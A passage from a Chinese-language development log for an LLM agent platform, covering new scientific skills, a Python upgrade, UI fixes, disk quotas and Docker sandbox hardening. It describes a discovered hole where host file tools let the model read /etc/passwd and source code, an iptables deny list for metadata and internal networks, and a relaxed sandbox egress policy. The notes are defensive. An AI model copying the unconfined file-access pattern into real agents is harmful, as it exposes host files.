一致)。tests/test_load_skill.py 4 case 锁住:host backend host 路径 / docker backend /sandbox/skills/<name> / 末尾斜杠拼接不双斜杠 / 未知 skill 报错走原路径。全套 4/4 PASS + tests/test_executor_docker.py 15/15 PASS 回归无破。结构性收益:所有现存 skill(proposal/ppt/research/coding/pymatgen/stats_ml/plot_pub/...)references 在 docker backend 下自动 work,不用一个个改 SKILL.md 教 LLM 用容器路径(那会破 host backend 开发环境)。部署后操作:部署机需 git pull 拉这条 commit + 重启 agent 进程让新代码生效(skill 注册表已经是每请求重建 §c4229be,但 LoadSkillTool 实例化在 build_agent 里,需要新进程或新连接才能拿到带 container_skills_dir 的实例)。否决:(b) bind mount host 路径到容器同样位置 —— 容器路径跟 host 强耦合,部署路径换地方就跪;(c) 改全部 SKILL.md 让 LLM 用 /sandbox/skills/... —— 散点改易漏,且 host backend 下 /sandbox 不存在,反破 dev 环境。DESIGN.md 不动(无架构变化,纯实现修);RUN.md 不动(无 CLI / env 变化)。
  • 新增 analyze skill(科学问题分析 / 拆解 / 引导),服务建材院 R&D 早期问题翻译场景:用户拿"模糊的高层科研问题"(典型句式"想搞清楚 X 原因 / 怎么提升 Y / 该不该做 Z")过来时,既不是写本子(proposal)/也不是查文献(research)/也不是建模(stats_ml),而是问题还在概念阶段需要先想清楚——之前 10 个 skill 没人接这个场景,模型只能凭直觉糊弄。本 skill 定位为"协调器 / 问题翻译器",不执行任务,只把模糊命题拆成可操作子问题 + 实施路线图,最终接力给下游 skill。四段式工作流:① PICO/PECO 规范化(P 对象 / I 干预 / C 对照 / O 量化输出 + FINER 五维自检)—— 卡 BLOCKING;② Issue Tree 拆解(MECE 原则,默认"机理-现象-工艺"三层,叶子节点标 [类型 / 优先级 / 能力描述])—— 卡 BLOCKING;③ 按叶子类型分支深化:根因型走 Fishbone(六大支:材料/工艺/设备/检测/环境/人员)+ 5Whys、创新型走 First-principles 拆假设 + TRIZ 矛盾矩阵(摘 10 对建材常见冲突),优化型走 DoE 选型导航(PB/全因子/CCD/Box-Behnken/混料/序贯);④ 实施路线图 + TODO + 接力建议(analysis.md §6 每步四件事:干什么 / 能力描述 / 产物 / 判停条件)。文件结构:skills/analyze/SKILL.md(121 行)+ 5 份 references(78-95 行,按需 always read 或分支 read)+ 1 份 templates/analysis_report.md(87 行 = 最终 analysis.md 骨架),共 7 文件 657 行。关键决策:(a) 不硬编码"叶子能力 → skill 名"映射表 —— runtime 的 skill discovery 已经把所有 skill description 注入 prompt(DESIGN §3.5),硬编码等于重复 + 改名要回来改;改用"能力描述"(动词短语)让 LLM 按当时看到的 skill 清单自匹配;(b) 触发 description 双重防护 —— A 写死"还在想方向 / 不知道从哪入手"触发条件 + 显式列出何时不用(proposal/research/stats_ml/review 走对应 skill),B 在 §输出末尾推荐"下一步用 X 能力推进",前者拦"路由进"后者拦"路由出"卡死;(c) 不需要 Python helper —— 全引导式对话 + markdown 输出,跟 review skill 同范式,无代码;(d) TRIZ 不抄全 40 原理矩阵 —— 摘 10 对建材常见矛盾(强度↑韧性↑ / 早强↑后期↓ / 致密↑透气↑ 等),够 80% 场景 + 不污染上下文;(e) DoE 选型表不生成实验点位 —— analyze 只规划设计类型 + 因素表,具体随机化 / 点位生成由下游 stats_ml 跑 pyDOE2,职责清晰;(f) 产物文件简单命名 analysis.md —— 不学 proposal 的 <today>-<short_id>-<name>.spec.md 多版本机制(spec 是"宪法"需要定调一次,analysis 是工作文档迭代覆盖即可);(g) examples 全打建材域(P42.5 早强偏低 / 熔铸 AZS 砖热震 / 低碳水泥探索 / 矿粉粉煤灰配方 DoE),触发 description 保持领域无关(框架本身通用),只在 references 里塞建材 case 让 LLM 学场景适配。否决:(a) proposal 直接覆盖问题分析功能 —— proposal 已包含"先写要点再写正文"两段式,但那是"已定调要立项"之后的拆解,跟"还没决定要不要立项"的探索阶段语义不同;(b) 合并到 research —— research 是查文献执行能力,问题拆解不查文献也能做;(c) 写成 Python framework(自动拆解 + 自动 PICO 填空)—— 强行结构化反而压死开放探索,引导式对话更贴 R&D 实际节奏。DESIGN.md 不动(新加 skill 无架构变化);RUN.md 不动(无 CLI / env / 文件布局变化);SCIENTIFIC_SKILLS.md 不动(该文件是 K-Dense 仓库引进评估笔记,analyze 是自主设计不在其列)。
  • Python 3.10→3.12 升级(host + Dockerfile)+ DockerExecutor PYTHONPATH 加 /sandbox 修历史 import bug + 3 个科学 skill smoke 通过:上一条加完 3 个科学 skill 后跑 smoke 发现 step D mp_rester 联网炸 ImportError: cannot import name 'NotRequired' from 'typing' —— Materials Project 官方依赖 emmet-core 0.86.0rc1outcar_adapter.py 直接 from typing import NotRequired(3.11+ 才有,没走 typing_extensions 兜底),原 host .venv 是 Python 3.10.9 → mp-api 整链路 import 不进。选 3.12 而非 3.11/3.13:3.12 是当下 ML/AI 生态默认推荐版本(稳一年半 + 所有主流包预编译 wheel 覆盖完整),3.11 跟容器对齐但少一年优化,3.13 释放才半年冷门 wheel 偶尔退源码编译 Windows 上易踩坑(没新特性需求,激进升只是踩雷概率)。实施:① host py -3.12 -m venv 重建 .venv,pip install -r requirements.txt 装齐(pymatgen 2026.5.4 / mp-api 0.46.1 / emmet-core 0.86.4 / sklearn 1.8.0 / statsmodels 0.14.6 / numpy 2.4 / scipy 1.17 / matplotlib 3.10.9 / litellm / fastapi / sqlalchemy / 全套传递依赖);② Dockerfile FROM python:3.11-slimpython:3.12-slim(host / 容器同步升,部署机 rebuild image 时生效);③ 顺手修 core/executor_docker.py:172 PYTHONPATH /workspace/sandbox:/workspace:历史 bug —— 多个 skill(research/paper、新加 pymatgen/materialsplot_pub/style)SKILL.md 都教 LLM from skills.xxx.yyy import zzz,host backend 因 base_dir=Path.cwd()(zcbot repo 根)注入 PYTHONPATH 能 work;docker backend 下容器只有 PYTHONPATH=/workspace + skills/ bind mount 到 /sandbox/skills:ro,import skills.xxx 找不到。本次加 /sandbox 前缀(在 /workspace 前,让 skills 优先级高于用户 task 目录的同名 shadow),tests/test_executor_docker.py:243-245 regression test 改 assertIn("PYTHONPATH=/sandbox:/workspace", ...),全套 15/15 PASSsmoke 实跑:step A pymatgen helper + XRDCalculator MgO 11 个峰 / step B sklearn R²=0.575 + statsmodels R²=0.911 p≪0.05 / step C plot_pub SimHei + PNG+PDF 出图 / step D mp_rester 联网 ⚠️ 返 403 "Your IP/ASN blocked"(Materials Project 服务侧 IP 临时封禁,跟代码无关,LBNL 服务对中国大陆 IP 段或同 ASN abusive traffic 触发 → 等几小时自动解 / 邮件 support@materialsproject.org 报公网 IP 申请解封 / VPS 走代理 fallback)。非阻塞:pymatgen 本地功能(CIF I/O / XRDCalculator / SpacegroupAnalyzer / PhaseDiagram / VASP 输入)100% 能用,只是 mp_rester 在线查询暂不能用。否决:(a) 升 3.11(只跟容器对齐,少一年优化,3.12 同样兼容容器);(b) 升 3.13(释放半年,冷门 wheel 偶尔退源码编译 Windows 踩坑,激进升无收益);(c) pin emmet-core<0.86 + mp-api<0.45(临时,下次 pip install 不 pin 又炸,且丢 emmet 新功能);(d) monkey patch typing.NotRequired = typing_extensions.NotRequired(hacky 且挡不住 mp_api 下游其他 3.11+ 假设);(e) executor PYTHONPATH 改 /workspace:/sandbox(/workspace 优先 → 用户 task 目录如果手贱建 skills/ 同名子目录会 shadow 真 skills,/sandbox 在前更稳)。DESIGN.md 不动(纯实施层 Python 版本 + 容器 PYTHONPATH 修);RUN.md 不动(env 段 MP_API_KEY 已在上一条 skill commit 加入,Python 版本要求记 requirements.txt + Dockerfile 自表)。
  • 新增 3 个科学计算 skill(pymatgen / stats_ml / plot_pub),服务建材院无机非金属材料 R&D:SCIENTIFIC_SKILLS.md 评估完 K-Dense/scientific-agent-skills 仓库后落地选 4 个 ★★★ 中前 3 个动手(materials_db 后置,USPTO 部分留并入 skills/patent)。命名取工具名直接(pymatgen / plot_pub)+ 业务前缀(stats_ml 因合三库需要场景导航),贴合现有 skill 命名风格(coding/ppt/research/...)。① skills/pymatgen/:SKILL.md(无机相中文→化学式映射表说明 / XRD 比对 / 对称性 / 相图 / VASP 输入文件,八条反模式)+ materials.py(CEMENT_PHASES dict 覆盖水泥熟料 / 水化产物 / 石膏 / 碳酸盐 / 陶瓷耐火 / 玻璃晶相 / 常见矿物共 50+ 条目,中英文 / 简写多 key 指同一化学式;lookup_phase() 大小写不敏感查找;mp_rester() context manager 自动从 env 拿 MP_API_KEY,缺则 RuntimeError 带申请链接;mp_api 局部 import 避免装包前 import 即崩)。② skills/stats_ml/:SKILL.md 纯指南(场景导航表选 sklearn / statsmodels / PyMC、5 个工作流示例 A-E 含配方-性能回归 / DoE 二阶响应面 / 显著性分析 / 贝叶斯小样本 / DBSCAN 异常配方、16 条反模式分库列示)+ 无 helper(三库 API 直接用)。③ skills/plot_pub/:SKILL.md(XRD 多相叠图 / TG-DSC 双 Y 轴 / 强度发展曲线 / 多 panel 论文 figure 4 个工作流 + 中文字体说明 + 10 条反模式)+ style.py(apply_pub_style() 一键设置:中文字体跨平台 fallback SimHei→YaHei→WenQuanYi→DejaVu / dpi 150 屏幕 300 保存 / viridis 默 cmap / 刻度朝内 / legend 无框 / PDF Type 42 字体合规期刊 / font.size linewidth 等可参数化;_find_chinese_font()font_manager.fontManager.ttflist 查实装字体而非靠 try-load)。关键决策:(a) 不一键装 138 个 skill —— 上下文噪声 + 误触发(用户"分析一下"模型可能跳 Scanpy),挑 4 个 ★★★ fork 单装;(b) PyMC 装包延后 —— 带 pytensor 装 5min+ 体积大,真要做贝叶斯再装;requirements.txt 注释掉以 # pymc>=5.10.0 形式留接口;(c) MP_API_KEY 走 .env —— 跟 DEEPSEEK_API_KEY / ARK_API_KEY 同范式,litellm 不读但 os.environ.get 拿到;(d) 化学式映射表对中文 / 简写 / 英文学名同等待遇 —— 用户报相名习惯混杂(C3S / 硅酸三钙 / alite 都常见),多 key 同 value 比强迫归一化体验好;(e) 不写示例数据/单元测试:开发期 LLM 工作流场景多变,跑了 SKILL.md 工作流验证而非脚本测试 —— skill 是 prompt 不是代码模块。requirements.txt 加 pymatgen / mp-api / scikit-learn / statsmodels(PyMC 注释)。RUN.md env 段加 MP_API_KEY 说明(可选 + 申请链接 + 未设抛 RuntimeError)。DESIGN.md 不动(纯 skill 加,无架构变化);SCIENTIFIC_SKILLS.md(根目录调研笔记)已沉淀整体评估,后续 materials_db 落地参考。装包未执行 —— 等用户跑 .venv/Scripts/pip install pymatgen mp-api scikit-learn statsmodels 装上才能验证 import 路径生效。否决:(a) 三个 skill 合并成一个 science skill —— 触发语义糊,LLM 难判,各做各的更清;(b) materials_pymatgen 这种业务前缀全打 —— pymatgen 本身就是材料库,前缀冗余;(c) helper 过度封装(写 simulate_xrd(formula) 全自动)—— 隐藏 pymatgen 真实 API,LLM 学不到本来好用的上游能力,反模式段在 SKILL.md 里讲清更轻;(d) plot_pub 内 apply_pub_style() 失败抛错 —— 中文字体没装也应该继续画(图能看就行,只是中文方块),warn 比 raise 友好。
  • DESIGN §7.5 增"image 体积 / 多 user 资源 / 后续加包策略"决策段:dogfood 推进到加 npm + chromium + mermaid-cli 后,sandbox image 1.5G+,后续 domain 包(rdkit / pymatgen / ASE / pandoc-tex 等)还会进一步推大,把"image 大 = 资源占用大 = 多 user 容器爆炸"这条直觉关联的事实链拆开沉淀,免得未来花减肥功夫减错地方。三条认知校准:① image 大 ≠ 运行时吃更多 RAM(空载 tini → sleep infinity RSS 个位数 MB,layer 共享让磁盘乘数 = 1,真吃 RAM 的是 active exec 行为而非 image 字节);② 多 user 同时在线瓶颈在并发 exec 不在 idle 容器数(杠杆全在 docker run --memory --cpus --pids-limit + 同 user 并发 semaphore + 整机 active user cap + idle 回收,减 image 体积对这条曲线无效);③ 新增依赖采用"base 收敛 + per-user 持久化 venv + 使用频次沉淀":base 只放高频共用轻量包(requirements.txt 当前形状),长尾 domain 包模型用 pip install --target=/workspace/.venv/site-packages 装到 per-user 持久化路径(随 user_root bind mount,idle 回收不丢);加 audit 统计哪些包累计被 >30% user 装过 ≥ 3 次 → 下次 build 合并进 requirements.txt,base 跟着真实使用模式收敛而非拍脑袋。否决:(a) 全塞 base —— 重包(torch / texlive)+ 长尾包打死磁盘 + 强迫所有 user 陪绑;(b) 运行时临时装(不持久化)—— 容器 idle 回收即丢冷启重装,高频复用差;(c) 多 image 按场景分 —— per-user 容器模型下 user 不知道选哪个,切 skill 还得换 image 心智不通;(d) per-user venv 用 named volume / 共享 image cache —— 包 install 脚本是任意代码,跨 user 共享 venv 破坏跨 user 隔离边界;(e) 依赖 pip cache 解决问题 —— pip cache 只省网络不省落盘,容器回收照样丢。落地点排进 Stage C Step 6 Executor 实施:cgroup limits / 并发 semaphore / idle 回收 / per-user venv mount 一并进 DockerExecutor(audit 沉淀机制延后,需要 dogfood 安装日志积累再开)。RUN.md 不动(当前无 CLI / env 变化,真做 venv mount 时再加);DESIGN.md §7.5 升级触发信号表后新增该段。

2026-05-27

  • ppt skill 歧义反问 + general_v1 加"产物形式歧义先问"通用原则:上次 8109f20 把 ppt description 收紧成"白名单 + 反例"后,实测"MES汇报方案"这种请求还是被路由命中 —— 反例列表只覆盖"生成方案 / 写报告 / 出文档 / 做纪要"几个组合,但"汇报方案"未列入,而"汇报"在 LLM 语义里就有强烈的 PPT 联想重力(工作汇报 / 季度汇报多以幻灯片形式)足以压过"必须明确点名 PPT"的硬约束。修法:① skills/ppt/SKILL.md:3 description 改三段(触发白名单 / 不触发[只留明确指向文档的"报告 / 文档 / 纪要"] / ⚠️ 歧义先反问)—— 把"汇报 / 方案 / 材料"从反例摘出来,改成"先反问用户'PPT 还是 Word/Markdown 文档'再决定 load",把判断权还给用户而不是赌 LLM 路由词典;② prompts/system/general_v1.md Skill 机制段加一条系统级原则"产物形式歧义时先问",升格为跨 skill 通用约束(imagegen / videogen 各自 skill 内本来就有"问清楚再画"逻辑,现在抽到 system prompt 让新加 skill 也能继承)。否决:(a) 继续往反例里堆"汇报方案 / 汇报材料 / 汇报内容"—— 堆词典治标不治本,下次"做个 Q4 总结"又得加;(b) 路由层加 required_keywords 结构化字段,在 discovery_block 之前 grep 用户原话兜底 —— 跨多 skill 都得补字段,工程量大,短期 LLM 反问范式收益已够;(c) ppt skill load 后再反问 —— 路由命中后再反问就是已经误触发了,要在路由阶段拦。代价:用户已经心里清楚要 PPT 只是没说时,会觉得多一轮反问啰嗦;缓解靠反问句式短 + 暗示默认选项,一个字"PPT"就能过,比生成完整 deck 后推翻代价小一个数量级。DESIGN.md 不动(无架构变化);RUN.md 不动(纯 skill 元数据 + system prompt 文案)。
  • ppt skill description 收紧路由:skills/ppt/SKILL.md:3 原文 "做汇报 PPT、把材料/会议纪要/方案转为幻灯片、生成演示稿" 含 "方案" / "生成" 字样,Claude 路由时把 "生成一个方案" 也命中到 PPT skill。改成显式白名单(PPT/幻灯片/演示文稿/.pptx/slide/deck)+ 显式反例("生成方案 / 写报告 / 出文档 / 做纪要" 不触发 —— 那是文档任务)。DESIGN.md 不动;RUN.md 不动(纯 skill 元数据)。
  • skill 热更新:/v1/skills 每次现扫:此前 web/app.py lifespan 启动时 app.state.skill_registry = SkillRegistry(...) 扫一次,GET /v1/skills 从这份静态快照读 → 加新 skill 目录(放到 skills/<name>/SKILL.md)必须重启 web 才能在 dev SPA 新建任务弹窗下拉看见,为未来"允许用户安装自己 skill"埋了一刀。改法:删 lifespan 那行 + 注释,/v1/skills 路由内每次 SkillRegistry(ROOT / cfg["skills_dir"]) 现扫。实测 SkillRegistry 构造 ~3ms / 次(9 个 skill,iterdir + 9 次 read_text + yaml frontmatter),整个 HTTP e2e ~20ms 完全淹没在 JWT + DB 噪声里,且 /v1/skills 只在"新建任务弹窗打开"触发,非热路径。core/agent_builder.py::build_agent 早已是每次新建 SkillRegistry(每发新消息重扫),所以 agent 内部 load_skill 工具与 system prompt discovery block 一直是热的;此次仅修补前端下拉这一处静态快照。Smoke 验证:skills/_smoke_hot_reload/SKILL.md 临时创建 → /v1/skills 9→10 看见、删除 → 10→9 消失,全程未重启进程。否决:(a) 加 POST /v1/skills/reload 显式触发 —— 多 API + 用户得记得调,3ms / 次的优化收益为 0;(b) watchdog 文件系统监听 —— 加依赖 + 容器 bind mount inotify 偶尔不稳 + 工程量过重,与方案 A 在用户体感上无差异;(c) SkillRegistry 加 mtime cache —— 智能化复杂度换 ms 级 IO 节省,§7.9 "不为不存在的瓶颈预付架构成本"同款判定。未来"用户自带 skill"独立维度(届时 workspace/users/<uid>/.skills/ 与全局 skills/ 多 root 叠加),跟当前热更新不耦合,等真做时再加多 root 支持。DESIGN.md 不动(无架构变化);RUN.md 不动(无 CLI / env 变化)。
  • dev SPA 「导出对话记录」/「清空对话」按钮 disable 逻辑改成只要选中 task 就常亮:web/static/dev.html renderChatMeta 里原本按 t.n_messages === 0 一并禁用两键(:1812/:1815)。bug:用户「清空对话」→ clearMessages 返回 n_messages=0 → 两键 disable;之后发新消息走 SSE 流(sendMessage :2210),后端 task.n_messages 累加但前端 state.taskMeta.n_messages 没刷,renderChatMeta 也不会再跑,两键一直灰。改法:不按 n_messages 门禁,导出常亮、清空仅在 run running/cancelling 期间禁(后端 409,confirm 后再报错 UX 差);0 条时点导出生成空 docx、点清空 confirm 显 0 条 —— 都不会出错,语义一致更省心。deleteTask 路径里把"无 task 选中时两键显式 disable"逻辑保留(那时 chat-meta 退到"未选中任务"占位,常亮反而误导)。否决:(a) 修真正的 n_messages 同步问题(SSE 收 done 时回拉 taskMeta) —— 一次额外 GET,且 streaming 期间频繁拉一致性更易飘;(b) 把 export 也按 running 禁 —— export 是只读快照,run 中导出当前可见的部分对话完全合理。DESIGN.md 不动(无架构变化);RUN.md 不动(无 CLI/env 变化)。
  • dev SPA embed + task_id 模式模型下拉不显示修复:web/static/dev.html enterApp()loadModels() 是 fire-and-forget(:1512 无 await),非 embed 模式下用户手动点 task 列表行时 /v1/models 早已 resolve,所以下拉正常;embed 模式 + URL 带 task_idembedHandleMessage 收到 token → enterApp() 后立刻 selectTask(EMBED_INITIAL_TASK_ID)(:3766-3771),此时 state.models 还是 [],而 renderModelDropdown 在 models 为空时直接 return ""(:1817)→ 顶上模型下拉缺失(同理影响生图 / 生视频下拉)。修法在 loadModels() 尾部加 if (state.taskMeta) renderChatMeta(); 一行,让 models / image_models / video_models 全部 resolve 后,若当前已有 task 选中就补一次 chat-meta 重渲;state.taskMeta 不存在时 renderChatMeta 本就 no-op,无副作用。一并覆盖"loadModels 接口慢/失败再恢复"的场景。否决:(a) 在 embed 初始 task 分支单独 loadModels().then(selectTask) —— 要跟 enterApp 里 fire 出的 loadModels 共享同一个 promise,改起来啰嗦;(b) renderModelDropdown 内部 fallback 自己拉一次 models —— 把数据获取塞进渲染函数,违反单一职责。DESIGN.md 不动(无架构变化);RUN.md 不动(无 CLI/env 变化)。
  • Stage C 收尾包:容器资源 yaml 化 + 应用层磁盘配额 + dogfood 网络放开 + 容器内 pip/npm 源持久化:Step 4 完整 egress proxy(allowlist + audit + 字节计量)1-2 天工程量,dogfood + 信任同事白名单阶段不必先做,符合 DESIGN §7.7 阶段语义;沉淀为升级触发信号(任一陌生用户注册 / dogfood 发现模型异常 outbound / 信任白名单出现非密切相识者 → 必上 Step 4)。本批做 3 件:① 容器资源 yaml 化:config/agent.yamlsandbox 段(memory/cpus/pids_limit),SandboxPool.__init__ 加三个字段,优先级 env > yaml > 默(2g/1.0/256);setup_pool / init_pool 透传 sandbox_cfg;main.py sandbox check 输出加 4 行 [info](memory/cpus/pids_limit/disk_bytes_per_user)给运维一眼对账。② 应用层磁盘配额:migration 0008_user_disk_usage(单行 per user,bytes_used/file_count/scanned_at)+ core/storage/disk_quota.py(parse_bytes("5gb"/"500mb"/int)+ scan_user_dir(os.scandir 跳顶层 dotfile .zcbot_tmp .memory)+ upsert_user_usage ON CONFLICT + check_disk_quota(超额返中文 msg)+ scan_all_users 串行扫所有 user)+ web/app.py lifespan _disk_scanner 后台 task(启动跑一次 + 默 15min 周期 run_in_executor)+ DockerExecutor._exec_fs_tool write/edit 起手 _check_user_disk_quota 超额返 [Error] 不调容器 + /v1/files/upload 同款 gate 超额 HTTP 413。yaml quotas.disk_bytes_per_user: 5gb + disk_scan_interval_seconds: 900,≤0 视为不限,首次扫描前 check 短路放行避免冷启动卡死。race 接受:扫描间隙写入轻微突破上限(与 image/video 配额同款 race-tolerant)。③ 网络放开 + 容器内源持久化:core/sandbox/network.py 去掉 --internal flag(改 docker bridge default 有 NAT outbound;dogfood 阶段让模型能 pip install foo / curl https://...),已存在 internal network 不自动 rm 仅 warn(避免破坏现有容器,RUN.md 给迁移命令)。Dockerfile 加 /etc/pip.conf(写 [global]\nindex-url=${PIP_INDEX_URL} + timeout 60)+ /etc/npmrc(写 registry=${NPM_REGISTRY})让运行时 pip / npm install 也走 mirror(此前 --build-arg 只 build 时生效)。iptables 红线段不动 ── 169.254/127/10/172.16/192.168/100.64/PG_IP 仍 DROP,挡 cloud metadata + 内网扫描 + loopback,这是基线不依赖 proxy。测试:tests/test_disk_quota.py 11 测试覆盖 parse_bytes 各单位 / scan_user_dir 跳 dotfile / 空目录 / 不存在路径;unittest discover 46/46 PASS(原 35 + 新 11)。DESIGN §7.5 #2 待 commit 加"Step 4 延后 + 升级触发表"段落(本 commit 暂没改 DESIGN ── DESIGN 只在架构变时改,延后决策仍在 §7.7 Stage C 阶段语义内,触发信号沉淀进 PROGRESS / RUN);RUN.md 加 yaml sandbox 段 + 网络迁移 + 配额命令 + 故障兜底 2 行(internal network legacy / 磁盘 413)。否决:(a) network 改 internal 时自动 rm + recreate ── destructive,会破现有容器连接,改 warn 让运维 ack;(b) 写前实时 du ── user_root 大时几秒一次写不能接受,sticky 周期扫描表 + 写前查表是 image/video 配额同款范式;(c) 同时做完整 Step 4 ── 1-2 天大工程,dogfood 不阻塞,先放开网络让模型能 pip install 更急(实测装包 / 拉资源能力是产品门槛);(d) 磁盘配额硬阻所有写(包括 run_python / shell)── 截 syscall 太重,write/edit + upload gate 已覆盖 95%(skill 产物路径),run_python / shell 写文件靠扫描后续感知(下次周期 check 时挡新增写入);(e) yaml sandbox.memory 默 4g/2cpu ── 腾讯云轻量 4 核 8G,留 host 跑 web + PG + nginx 需求,2g/1cpu 是合理基线,极端任务用户改 yaml 升配。
  • Stage C Step 3d:fs 工具(read/write/edit/glob/grep)进容器 + DESIGN §7.5 #6 重写:Ubuntu dogfood 第一次切 docker backend 后发现 host 工具 Path.cwd() 漏底 —— 模型用 glob * 列出了 host /home/lighthouse/zcbot/.git/.venv/config/core/...,即 zcbot 源码自身。回查 DESIGN §7.5 #6 写"host 工具走 paths.py::resolve_user_path 校验",grep 代码根本没那个函数,假命题;Tool._resolve 实际是 base_dir / path,base_dir=Path.cwd()(= web 启动目录 = zcbot repo 根),绝对路径完全不挡,模型能 read /etc/passwd / write zcbot 源码自己。修法对比:Phase A(改 cwd → working_dir,1 行 hack)修 UX 不修安全;Phase B(host 工具加 user_root 强制校验 + skills/ 白名单,~80 行)安全但脆弱(symlink/../Windows path 都得 case 挡,漏一个就破);方案 3(fs 工具进容器)物理边界替代代码护栏,选这条core/sandbox/tool_runner.py 新增容器内 helper(~80 行,from stdin 接 JSON args 调 tools/fs.py Tool 子类,base_dir=cwd 走 docker exec --workdir 传入,user_root=/workspace);DockerExecutorFS_TOOLS = {read,write,edit,glob,grep} 信任域 + _exec_fs_tool 方法 docker exec -i ... python /sandbox/tool_runner.py <name> + stdin 喂 JSON args(CJK 路径透明传不被 shell metachar 切);_run_subprocess 加 stdin 参数 + is_fs_tool 路径返 stdout 直透(不包 [stdout]/[exit],原模型语义保持),exit≠0 把 stderr 当 ToolResult content。SandboxPoolrepo_root 字段,_docker_run<repo>/skills:/sandbox/skills:ro mount(SKILL.md 内引用 references/foo.md 时容器内 read 能解析);web/app.py lifespan 透传 ROOT;Dockerfile COPY tools/ /sandbox/tools/ + tool_runner.py 让镜像内有一份 tools 源(build-time COPY 而非 mount —— 容器内代码不应跟随 host repo 修改重启)。留 host 的工具:load_skill(SkillRegistry 内存查找,无 fs 越界)/ web_search / web_fetch / seedream / seedance(持 Bocha/ARK API key,key 不入容器 env;Step 4 egress proxy 后再讨论)。测试:tests/test_executor_docker.pytest_load_skill_passthrough_to_host(原 test_read_passthrough_to_host 不再成立 —— read 进容器了)+ 加 4 个 fs 路径测试(read argv 形态 / CJK 路径 stdin JSON 透明传 / grep exit≠0 stderr 透传 / glob timeout 杀 docker CLI),unittest discover 35/35 PASSDESIGN §7.5 #6 重写:从"工具二分(host fs + container code)"改"几乎所有工具进容器,host 只留持 key + 跨 user 的"+ 标注 2026-05-26 修正记录(原假命题溯源)。代价:每个 fs tool call 多 ~200ms docker exec overhead,对话级 N≤15 总 1-3s,LLM 推理 5-30s 下噪声;镜像 build COPY tools/ ~5s 增量。升级触发(§7.9 升级表):若 metric docker_exec_overhead / total_tool_time > 30% 持续两周,或模型出现"在容器内起长驻服务"工作流,启用容器内 tool-runner unix socket RPC(消除每次 exec 开销)。否决:(a) Phase B path validator —— 跟 §7.9 § "美学统一性 ≠ 升级理由"对称,安全要"物理 ≠ 代码"才稳;(b) COPY core/ tools/ ... 把整个 zcbot core 进镜像 —— tool_runner 只需要 tools/fs.py + base.py,容器内多余代码增加攻击面;(c) tool_runner.py 用 argv 传 JSON args —— CJK / 引号 / 路径分隔符全是 shell metachar 切风险,stdin 喂稳;(d) 让 host backend 也保留 fs 工具走 user_root 校验作"双保险" —— 双源 = 漂移源,docker backend 是 §7.5 的全部论证基础,host backend 不在外部用户场景有它就够。
  • Stage C Step 3 hotfix:exec_user 改 username 跟随 build_arg + Dockerfile 加 Node/Chromium/mermaid-cli:Ubuntu 上 dogfood 暴露两个真问题。① uid 错配:DockerExecutor 写死 --user 1000:1000,但镜像 docker build --build-arg HOST_UID=$(id -u) 跟随 host 实际 uid(腾讯云轻量 lighthouse 用户 uid=1001),docker exec 进容器 uid=1000 → bind mount /workspace/<wd>/ owner 1001 → 写文件全 EACCES,文件落 /tmp/。改 DEFAULT_EXEC_USER = "zcbot"(username,docker 自动查容器 /etc/passwd 拿 uid),无论 HOST_UID build 成 1000/1001/其他都跟 bind mount owner 对齐,且未来切其他部署机不用改 env。② proposal/patent skill 渲 mermaid 缺 Node:skills/proposal/scripts/render_diagrams.py render_via_mmdcshutil.which("mmdc"),容器没装 → 退到 mermaid.ink 公网 API → 但 sandbox 容器 --internal 默 deny outbound,API 也走不通 → ASCII fallback 出 docx 没图不能用。Dockerfile 加 chromium nodejs npm apt 装(Debian bookworm 自带 node 18.x 够新)+ npm install -g @mermaid-js/mermaid-cli@latest,镜像 +~400MB(接受)。容器内 chromium 缺 setuid sandbox + /dev/shm 不够大会跪,镜像落 /sandbox/puppeteer-config.json(--no-sandbox / --disable-setuid-sandbox / --disable-dev-shm-usage + executablePath=/usr/bin/chromium)+ ENV MERMAID_PUPPETEER_CONFIG=/sandbox/puppeteer-config.json,render_via_mmdc 改读 env 拼 -p <config> 注入 mmdc;host 上跑 env 没设行为零变化。PUPPETEER_SKIP_DOWNLOAD=true + PUPPETEER_EXECUTABLE_PATH 让 puppeteer 用容器 chromium 不再下载它自带的 Chrome(省 ~300MB build)。npm 源加 --build-arg NPM_REGISTRY=https://mirrors.cloud.tencent.com/npm/(腾讯云内网)防境内 build 慢。DESIGN.md 不动(纯实施层 bug fix + skill 依赖);RUN.md 加 NPM_REGISTRY 段 + 故障兜底 3 行(EACCES uid 错配 / mmdc 报 launch chromium / npm 慢)。否决:(a) 让 DockerExecutor 启动时探测 os.getuid() 自动取 host uid 作 --user —— 写死 username 让 docker 查 passwd 比应用层探测更直接,且 部署机 uid 偶尔变(从 1000 重装成 1001)不用改任何东西;(b) 容器走 NodeSource repo 装 Node 20 LTS —— Debian bookworm 自带 18.x 已满足 mermaid-cli 要求(>=14.x),多一步外网拖速度;(c) 不装 chromium 等 Step 4 egress proxy 后用 mermaid.ink —— proposal 是早期就要交付的能力,等 Step 4(还没动手)不现实;(d) puppeteer config 注入靠改 mmdc 启动脚本 —— mmdc 默支持 -p,改 render_diagrams.py 读 env 就够,不动 mmdc 内部。
  • Stage C Step 5:main.py sandbox check 部署前置对账 + lifespan fs quota WARN:外部用户开放是 §7.5 #4 magnetic 要求(xfs prjquota / ext4 project quota / zfs dataset quota,否则"扫描间隙打满共享 fs 拖死同节点"),且 docker backend 启动前置(daemon/镜像/HOST_UID 对齐)出错时 lifespan 直接 fail-fast、traceback 排查贵 —— 把"运维心智清单"沉淀成可执行命令。main.py sandbox check 跑 5 项独立探测:① docker daemon 可达(CLI 存在 + docker version rc=0)② zcbot-sandbox:latest 镜像存在 ③ zcbot-sandbox-net network 存在(缺也 OK,lifespan 自动 ensure,这一项 warn 不 err)④ 镜像内 zcbot uid 与 host uid 对齐(docker run --rm --entrypoint id 拿镜像 uid 比对 os.getuid();Windows 自动 skip)⑤ workspace/users/ 所在 fs 类型可 quota(findmnt --target ... -no FSTYPE,OPTIONS 解析,识别 xfs+prjquota / ext4+project quota / zfs / btrfs / tmpfs / 其他)。detect_fs_quota(path) -> (level, msg) 抽出来给 lifespan 复用:web/app.py docker backend 启动时同样跑一次,WARN 打 stdout(不阻塞),应用层周期扫描仍生效。err vs warn 分界:err = docker backend 启动会 fail-fast 的根因(daemon/镜像/HOST_UID,exit 1);warn = 不阻塞启动但外部用户开放前要清(network 缺 / fs 不可 quota,exit 0)。tests/test_sandbox_check.py 19 测试覆盖各分支 + 汇总 exit code,mock subprocess 与 sys.platform(run_sandbox_check 改用 module-level lookup 而非固化 CHECKS 元组,让 unittest patch 生效);全套 unittest discover 31/31 PASS。RUN.md 加"部署前置对账"小节(sandbox check 5 